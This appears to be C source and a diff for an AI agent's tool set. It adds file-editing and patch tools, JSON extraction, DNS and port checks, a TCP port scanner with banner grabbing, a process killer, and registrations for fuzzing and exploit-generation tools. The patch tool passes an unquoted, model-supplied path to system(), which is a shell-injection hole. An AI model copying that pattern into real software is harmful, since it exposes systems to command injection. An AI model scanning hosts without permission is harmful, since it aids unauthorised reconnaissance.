static char *file_apply_patch_execute(tool_t *self, struct json_object *args);
static void file_apply_patch_print_action(const char *name, struct json_object *args);
static const tool_vtable_t file_line_replace_vtable = {
.get_description = file_line_replace_get_description,
.execute = file_line_replace_execute,
.print_action = file_line_replace_print_action
};
static const tool_vtable_t file_apply_patch_vtable = {
.get_description = file_apply_patch_get_description,
.execute = file_apply_patch_execute,
.print_action = file_apply_patch_print_action
};
static tool_t file_line_replace_tool = { .vtable = &file_line_replace_vtable, .name = "file_line_replace" };
static tool_t file_apply_patch_tool = { .vtable = &file_apply_patch_vtable, .name = "file_apply_patch" };
tool_t *tool_file_line_replace_create(void) { return &file_line_replace_tool; }
tool_t *tool_file_apply_patch_create(void) { return &file_apply_patch_tool; }
static char *read_full_file(const char *path) {
FILE *fp = fopen(path, "r");
if (!fp) return NULL;
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
rewind(fp);
char *content = malloc(size + 1);
if (content) {
size_t rs = fread(content, 1, size, fp);
content[rs] = '\0';
}
fclose(fp);
return content;
}
static void file_line_replace_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *path;
if (json_object_object_get_ex(args, "path", &path)) {
fprintf(stderr, " -> Replacing lines in: %s\n", json_object_get_string(path));
}
}
static char *file_line_replace_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *path_obj, *start_obj, *end_obj, *replacement_obj;
if (!json_object_object_get_ex(args, "path", &path_obj) ||
!json_object_object_get_ex(args, "start_line", &start_obj) ||
!json_object_object_get_ex(args, "end_line", &end_obj) ||
!json_object_object_get_ex(args, "replacement", &replacement_obj)) {
return strdup("Error: missing arguments for file_line_replace");
}
const char *path = json_object_get_string(path_obj);
int start_line = json_object_get_int(start_obj);
int end_line = json_object_get_int(end_obj);
const char *replacement = json_object_get_string(replacement_obj);
char *old_content = read_full_file(path);
if (!old_content) return strdup("Error: could not read file");
// Split into lines
char **lines = NULL;
int count = 0;
char *copy = strdup(old_content);
char *saveptr;
char *line = strtok_r(copy, "\n", &saveptr);
while (line) {
lines = realloc(lines, sizeof(char *) * (count + 1));
lines[count++] = strdup(line);
line = strtok_r(NULL, "\n", &saveptr);
}
free(copy);
if (start_line < 1 || start_line > count || end_line < start_line || end_line > count) {
for (int i = 0; i < count; i++) free(lines[i]);
free(lines);
free(old_content);
return strdup("Error: invalid line range");
}
// Build new content
size_t new_size = 1024 * 1024; // start with 1MB
char *new_content = malloc(new_size);
new_content[0] = '\0';
size_t current_len = 0;
for (int i = 1; i <= count; i++) {
const char *to_add = NULL;
if (i < start_line || i > end_line) {
to_add = lines[i - 1];
} else if (i == start_line) {
to_add = replacement;
}
if (to_add) {
size_t add_len = strlen(to_add);
if (current_len + add_len + 2 >= new_size) {
new_size *= 2;
new_content = realloc(new_content, new_size);
}
strcat(new_content, to_add);
strcat(new_content, "\n");
current_len += add_len + 1;
}
}
r_diff_print(path, old_content, new_content);
FILE *fp = fopen(path, "w");
if (fp) {
fputs(new_content, fp);
fclose(fp);
}
for (int i = 0; i < count; i++) free(lines[i]);
free(lines);
free(old_content);
free(new_content);
return strdup("Lines replaced successfully.");
}
static void file_apply_patch_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *path;
if (json_object_object_get_ex(args, "path", &path)) {
fprintf(stderr, " -> Applying patch to: %s\n", json_object_get_string(path));
}
}
static char *file_apply_patch_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *path_obj, *patch_obj;
if (!json_object_object_get_ex(args, "path", &path_obj) ||
!json_object_object_get_ex(args, "patch", &patch_obj)) {
return strdup("Error: missing arguments for file_apply_patch");
}
const char *path = json_object_get_string(path_obj);
const char *patch = json_object_get_string(patch_obj);
char *old_content = read_full_file(path);
char patch_file[] = "/tmp/r_patch_XXXXXX";
int fd = mkstemp(patch_file);
if (fd == -1) return strdup("Error: could not create temp patch file");
ssize_t written = write(fd, patch, strlen(patch));
close(fd);
if (written < (ssize_t)strlen(patch)) {
unlink(patch_file);
return strdup("Error: could not write full patch to temp file");
}
char cmd[1024];
snprintf(cmd, sizeof(cmd), "patch %s %s", path, patch_file);
int res = system(cmd);
unlink(patch_file);
if (res != 0) {
free(old_content);
return strdup("Error: patch application failed");
}
char *new_content = read_full_file(path);
if (old_content && new_content) {
r_diff_print(path, old_content, new_content);
}
free(old_content);
free(new_content);
return strdup("Patch applied successfully.");
}
static struct json_object *file_line_replace_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("file_line_replace"));
json_object_object_add(function, "description", json_object_new_string("Replace a range of lines in a file with new content."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *path = json_object_new_object();
json_object_object_add(path, "type", json_object_new_string("string"));
json_object_object_add(properties, "path", path);
struct json_object *start = json_object_new_object();
json_object_object_add(start, "type", json_object_new_string("integer"));
json_object_object_add(properties, "start_line", start);
struct json_object *end = json_object_new_object();
json_object_object_add(end, "type", json_object_new_string("integer"));
json_object_object_add(properties, "end_line", end);
struct json_object *repl = json_object_new_object();
json_object_object_add(repl, "type", json_object_new_string("string"));
json_object_object_add(properties, "replacement", repl);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("path"));
json_object_array_add(required, json_object_new_string("start_line"));
json_object_array_add(required, json_object_new_string("end_line"));
json_object_array_add(required, json_object_new_string("replacement"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}
static struct json_object *file_apply_patch_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("file_apply_patch"));
json_object_object_add(function, "description", json_object_new_string("Apply a unified diff patch to a file."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *path = json_object_new_object();
json_object_object_add(path, "type", json_object_new_string("string"));
json_object_object_add(properties, "path", path);
struct json_object *patch = json_object_new_object();
json_object_object_add(patch, "type", json_object_new_string("string"));
json_object_object_add(properties, "patch", patch);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("path"));
json_object_array_add(required, json_object_new_string("patch"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

View File

@ -101,6 +101,8 @@ static void index_directory_recursive(const char *path, struct json_object *resu
if (S_ISDIR(st.st_mode)) { if (S_ISDIR(st.st_mode)) {
index_directory_recursive(full_path, result_array); index_directory_recursive(full_path, result_array);
} else if (S_ISREG(st.st_mode) && is_source_file(entry->d_name)) { } else if (S_ISREG(st.st_mode) && is_source_file(entry->d_name)) {
fprintf(stderr, " -> Indexing: %s\n", full_path);
fflush(stderr);
FILE *fp = fopen(full_path, "r"); FILE *fp = fopen(full_path, "r");
if (!fp) continue; if (!fp) continue;

103
src/tools/tool_json.c Normal file
View File

@ -0,0 +1,103 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include "r_config.h"
#include "json_repair.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static struct json_object *json_extract_get_description(void);
static char *json_extract_execute(tool_t *self, struct json_object *args);
static void json_extract_print_action(const char *name, struct json_object *args);
static const tool_vtable_t json_extract_vtable = {
.get_description = json_extract_get_description,
.execute = json_extract_execute,
.print_action = json_extract_print_action
};
static tool_t json_extract_tool = { .vtable = &json_extract_vtable, .name = "json_extract" };
tool_t *tool_json_extract_create(void) { return &json_extract_tool; }
static void json_extract_print_action(const char *name, struct json_object *args) {
(void)name;
if (!args) return;
struct json_object *key;
if (json_object_object_get_ex(args, "key", &key)) {
fprintf(stderr, " \033[1m-> Extracting JSON key:\033[0m %s\n", json_object_get_string(key));
}
}
static char *json_extract_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *json_str_obj, *key_obj;
if (!json_object_object_get_ex(args, "json", &json_str_obj)) {
return strdup("Error: missing 'json' argument");
}
if (!json_object_object_get_ex(args, "key", &key_obj)) {
return strdup("Error: missing 'key' argument");
}
const char *json_str = json_object_get_string(json_str_obj);
const char *key = json_object_get_string(key_obj);
char *repaired = json_repair_string(json_str);
struct json_object *parsed = json_tokener_parse(repaired);
free(repaired);
if (!parsed) return strdup("Error: failed to parse JSON string");
struct json_object *val;
if (!json_object_object_get_ex(parsed, key, &val)) {
json_object_put(parsed);
return strdup("Error: key not found in JSON");
}
char *result = strdup(json_object_to_json_string_ext(val, JSON_C_TO_STRING_PLAIN));
json_object_put(parsed);
return result;
}
static struct json_object *json_extract_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("json_extract"));
json_object_object_add(function, "description",
json_object_new_string("Extracts a specific key from a JSON object and returns its value. Note: this tool ONLY works on objects, not arrays. If you have an array or need complex processing, use python_execute."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *json_param = json_object_new_object();
json_object_object_add(json_param, "type", json_object_new_string("string"));
json_object_object_add(json_param, "description", json_object_new_string("The JSON string to parse."));
json_object_object_add(properties, "json", json_param);
struct json_object *key_param = json_object_new_object();
json_object_object_add(key_param, "type", json_object_new_string("string"));
json_object_object_add(key_param, "description", json_object_new_string("The key to extract."));
json_object_object_add(properties, "key", key_param);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("json"));
json_object_array_add(required, json_object_new_string("key"));
json_object_object_add(parameters, "required", required);
json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0));
json_object_object_add(function, "parameters", parameters);
r_config_handle cfg = r_config_get_instance();
if (r_config_use_strict(cfg)) {
json_object_object_add(function, "strict", json_object_new_boolean(1));
}
json_object_object_add(root, "function", function);
return root;
}

253
src/tools/tool_network.c Normal file
View File

@ -0,0 +1,253 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <errno.h>
static struct json_object *network_check_get_description(void);
static char *network_check_execute(tool_t *self, struct json_object *args);
static void network_check_print_action(const char *name, struct json_object *args);
static struct json_object *network_port_scan_get_description(void);
static char *network_port_scan_execute(tool_t *self, struct json_object *args);
static const tool_vtable_t network_check_vtable = {
.get_description = network_check_get_description,
.execute = network_check_execute,
.print_action = network_check_print_action
};
static const tool_vtable_t network_port_scan_vtable = {
.get_description = network_port_scan_get_description,
.execute = network_port_scan_execute,
.print_action = NULL
};
static tool_t network_check_tool = { .vtable = &network_check_vtable, .name = "network_check" };
static tool_t network_port_scan_tool = { .vtable = &network_port_scan_vtable, .name = "network_port_scan" };
tool_t *tool_network_check_create(void) { return &network_check_tool; }
tool_t *tool_network_port_scan_create(void) { return &network_port_scan_tool; }
static char *network_port_scan_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *host_obj = NULL, *start_obj = NULL, *end_obj = NULL;
if (!json_object_object_get_ex(args, "host", &host_obj)) return strdup("Error: host missing");
json_object_object_get_ex(args, "start_port", &start_obj);
json_object_object_get_ex(args, "end_port", &end_obj);
const char *host = json_object_get_string(host_obj);
int start_port = start_obj ? json_object_get_int(start_obj) : 0;
int end_port = end_obj ? json_object_get_int(end_obj) : start_port;
struct hostent *server = gethostbyname(host);
if (!server) return strdup("Error: dns resolution failed");
struct json_object *results = json_object_new_array();
fprintf(stderr, " \033[1mScanning %s ports %d to %d...\033[0m\n", host, start_port, end_port);
int total = end_port - start_port + 1;
int current = 0;
for (int port = start_port; port <= end_port; port++) {
current++;
fprintf(stderr, "\r -> [%d/%d] Probing port %d... ", current, total, port);
fflush(stderr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) continue;
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 150000; // 150ms for faster feedback
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
memcpy(&addr.sin_addr.s_addr, server->h_addr, (size_t)server->h_length);
addr.sin_port = htons((unsigned short)port);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
fprintf(stderr, "\033[32mOPEN\033[0m \n");
struct json_object *entry = json_object_new_object();
json_object_object_add(entry, "port", json_object_new_int(port));
json_object_object_add(entry, "status", json_object_new_string("OPEN"));
char banner[1024];
memset(banner, 0, sizeof(banner));
tv.tv_sec = 1;
tv.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ssize_t n = recv(sockfd, banner, sizeof(banner)-1, 0);
if (n > 0) {
// Clean banner for display
for(int i=0; i<n; i++) if(banner[i] < 32) banner[i] = ' ';
fprintf(stderr, " \033[2mBanner: %s\033[0m\n", banner);
json_object_object_add(entry, "banner", json_object_new_string(banner));
}
json_object_array_add(results, entry);
}
close(sockfd);
}
fprintf(stderr, "\r \033[32mScan complete.\033[0m \n");
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
json_object_put(results);
return out;
}
static struct json_object *network_port_scan_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("network_port_scan"));
json_object_object_add(function, "description", json_object_new_string("Scans a range of TCP ports on a host and attempts service banner grabbing."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *host = json_object_new_object();
json_object_object_add(host, "type", json_object_new_string("string"));
json_object_object_add(properties, "host", host);
struct json_object *start = json_object_new_object();
json_object_object_add(start, "type", json_object_new_string("integer"));
json_object_object_add(properties, "start_port", start);
struct json_object *end = json_object_new_object();
json_object_object_add(end, "type", json_object_new_string("integer"));
json_object_object_add(properties, "end_port", end);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("host"));
json_object_array_add(required, json_object_new_string("start_port"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}
static void network_check_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *host;
if (json_object_object_get_ex(args, "host", &host)) {
fprintf(stderr, " -> Checking network: %s\n", json_object_get_string(host));
}
}
static char *network_check_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *host_obj, *port_obj;
if (!json_object_object_get_ex(args, "host", &host_obj)) {
return strdup("Error: missing 'host' argument");
}
const char *host = json_object_get_string(host_obj);
int port = 0;
if (json_object_object_get_ex(args, "port", &port_obj)) {
port = json_object_get_int(port_obj);
}
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(host, NULL, &hints, &res) != 0) {
return strdup("Error: DNS lookup failed");
}
char ipstr[INET6_ADDRSTRLEN];
void *addr;
if (res->ai_family == AF_INET) {
struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
addr = &(ipv4->sin_addr);
} else {
struct sockaddr_in6 *ipv6 = (struct sockaddr_in6 *)res->ai_addr;
addr = &(ipv6->sin6_addr);
}
inet_ntop(res->ai_family, addr, ipstr, sizeof(ipstr));
char result[1024];
if (port > 0) {
int sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
if (sockfd < 0) {
freeaddrinfo(res);
return strdup("Error: could not create socket");
}
// Set non-blocking for timeout
int flags = fcntl(sockfd, F_GETFL, 0);
fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
struct sockaddr_in serv_addr;
if (res->ai_family == AF_INET) {
memcpy(&serv_addr, res->ai_addr, sizeof(serv_addr));
serv_addr.sin_port = htons(port);
}
int conn_res = connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
if (conn_res < 0) {
if (errno == EINPROGRESS) {
fd_set set;
struct timeval tv;
FD_ZERO(&set);
FD_SET(sockfd, &set);
tv.tv_sec = 2; // 2 second timeout
tv.tv_usec = 0;
int select_res = select(sockfd + 1, NULL, &set, NULL, &tv);
if (select_res > 0) {
int valopt;
socklen_t lon = sizeof(int);
getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt == 0) conn_res = 0;
}
}
}
close(sockfd);
snprintf(result, sizeof(result), "Host: %s (IP: %s), Port %d: %s",
host, ipstr, port, (conn_res == 0) ? "OPEN" : "CLOSED/TIMEOUT");
} else {
snprintf(result, sizeof(result), "Host: %s (IP: %s), DNS: OK", host, ipstr);
}
freeaddrinfo(res);
return strdup(result);
}
static struct json_object *network_check_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("network_check"));
json_object_object_add(function, "description", json_object_new_string("Check DNS and port connectivity for a host."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *host = json_object_new_object();
json_object_object_add(host, "type", json_object_new_string("string"));
json_object_object_add(host, "description", json_object_new_string("Hostname or IP to check."));
json_object_object_add(properties, "host", host);
struct json_object *port = json_object_new_object();
json_object_object_add(port, "type", json_object_new_string("integer"));
json_object_object_add(port, "description", json_object_new_string("Port to check (optional)."));
json_object_object_add(properties, "port", port);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("host"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

81
src/tools/tool_system.c Normal file
View File

@ -0,0 +1,81 @@
// retoor <retoor@molodetz.nl>
#include "tool.h"
#include "bash_executor.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static struct json_object *process_monitor_get_description(void);
static char *process_monitor_execute(tool_t *self, struct json_object *args);
static void process_monitor_print_action(const char *name, struct json_object *args);
static const tool_vtable_t process_monitor_vtable = {
.get_description = process_monitor_get_description,
.execute = process_monitor_execute,
.print_action = process_monitor_print_action
};
static tool_t process_monitor_tool = { .vtable = &process_monitor_vtable, .name = "process_monitor" };
tool_t *tool_process_monitor_create(void) { return &process_monitor_tool; }
static void process_monitor_print_action(const char *name, struct json_object *args) {
(void)name;
struct json_object *action;
if (json_object_object_get_ex(args, "action", &action)) {
fprintf(stderr, " -> Process monitor: %s\n", json_object_get_string(action));
}
}
static char *process_monitor_execute(tool_t *self, struct json_object *args) {
(void)self;
struct json_object *action_obj;
if (!json_object_object_get_ex(args, "action", &action_obj)) {
return strdup("Error: missing 'action' argument (list or kill)");
}
const char *action = json_object_get_string(action_obj);
if (strcmp(action, "list") == 0) {
return r_bash_execute("ps aux | head -n 50", false);
} else if (strcmp(action, "kill") == 0) {
struct json_object *pid_obj;
if (!json_object_object_get_ex(args, "pid", &pid_obj)) {
return strdup("Error: missing 'pid' for kill action");
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "kill -9 %d", json_object_get_int(pid_obj));
return r_bash_execute(cmd, false);
}
return strdup("Error: unknown action");
}
static struct json_object *process_monitor_get_description(void) {
struct json_object *root = json_object_new_object();
json_object_object_add(root, "type", json_object_new_string("function"));
struct json_object *function = json_object_new_object();
json_object_object_add(function, "name", json_object_new_string("process_monitor"));
json_object_object_add(function, "description", json_object_new_string("Monitor and manage system processes."));
struct json_object *parameters = json_object_new_object();
json_object_object_add(parameters, "type", json_object_new_string("object"));
struct json_object *properties = json_object_new_object();
struct json_object *action = json_object_new_object();
json_object_object_add(action, "type", json_object_new_string("string"));
json_object_object_add(action, "description", json_object_new_string("Action to perform: 'list' or 'kill'."));
json_object_object_add(properties, "action", action);
struct json_object *pid = json_object_new_object();
json_object_object_add(pid, "type", json_object_new_string("integer"));
json_object_object_add(pid, "description", json_object_new_string("Process ID to kill (required for 'kill' action)."));
json_object_object_add(properties, "pid", pid);
json_object_object_add(parameters, "properties", properties);
struct json_object *required = json_object_new_array();
json_object_array_add(required, json_object_new_string("action"));
json_object_object_add(parameters, "required", required);
json_object_object_add(function, "parameters", parameters);
json_object_object_add(root, "function", function);
return root;
}

View File

@ -19,6 +19,17 @@ extern tool_t *tool_db_set_create(void);
extern tool_t *tool_db_query_create(void); extern tool_t *tool_db_query_create(void);
extern tool_t *tool_python_execute_create(void); extern tool_t *tool_python_execute_create(void);
extern tool_t *tool_index_source_directory_create(void); extern tool_t *tool_index_source_directory_create(void);
extern tool_t *tool_code_grep_create(void);
extern tool_t *tool_code_symbol_find_create(void);
extern tool_t *tool_file_line_replace_create(void);
extern tool_t *tool_file_apply_patch_create(void);
extern tool_t *tool_process_monitor_create(void);
extern tool_t *tool_network_check_create(void);
extern tool_t *tool_dns_lookup_create(void);
extern tool_t *tool_network_port_scan_create(void);
extern tool_t *tool_automation_fuzz_create(void);
extern tool_t *tool_automation_exploit_gen_create(void);
extern tool_t *tool_csv_export_create(void);
static tool_registry_t *global_registry = NULL; static tool_registry_t *global_registry = NULL;
@ -44,6 +55,19 @@ tool_registry_t *tools_get_registry(void) {
tool_registry_register(global_registry, tool_db_query_create()); tool_registry_register(global_registry, tool_db_query_create());
tool_registry_register(global_registry, tool_python_execute_create()); tool_registry_register(global_registry, tool_python_execute_create());
tool_registry_register(global_registry, tool_index_source_directory_create()); tool_registry_register(global_registry, tool_index_source_directory_create());
// New tools
tool_registry_register(global_registry, tool_code_grep_create());
tool_registry_register(global_registry, tool_code_symbol_find_create());
tool_registry_register(global_registry, tool_file_line_replace_create());
tool_registry_register(global_registry, tool_file_apply_patch_create());
tool_registry_register(global_registry, tool_process_monitor_create());
tool_registry_register(global_registry, tool_network_check_create());
tool_registry_register(global_registry, tool_dns_lookup_create());
tool_registry_register(global_registry, tool_network_port_scan_create());
tool_registry_register(global_registry, tool_automation_fuzz_create());
tool_registry_register(global_registry, tool_automation_exploit_gen_create());
tool_registry_register(global_registry, tool_csv_export_create());
return global_registry; return global_registry;
} }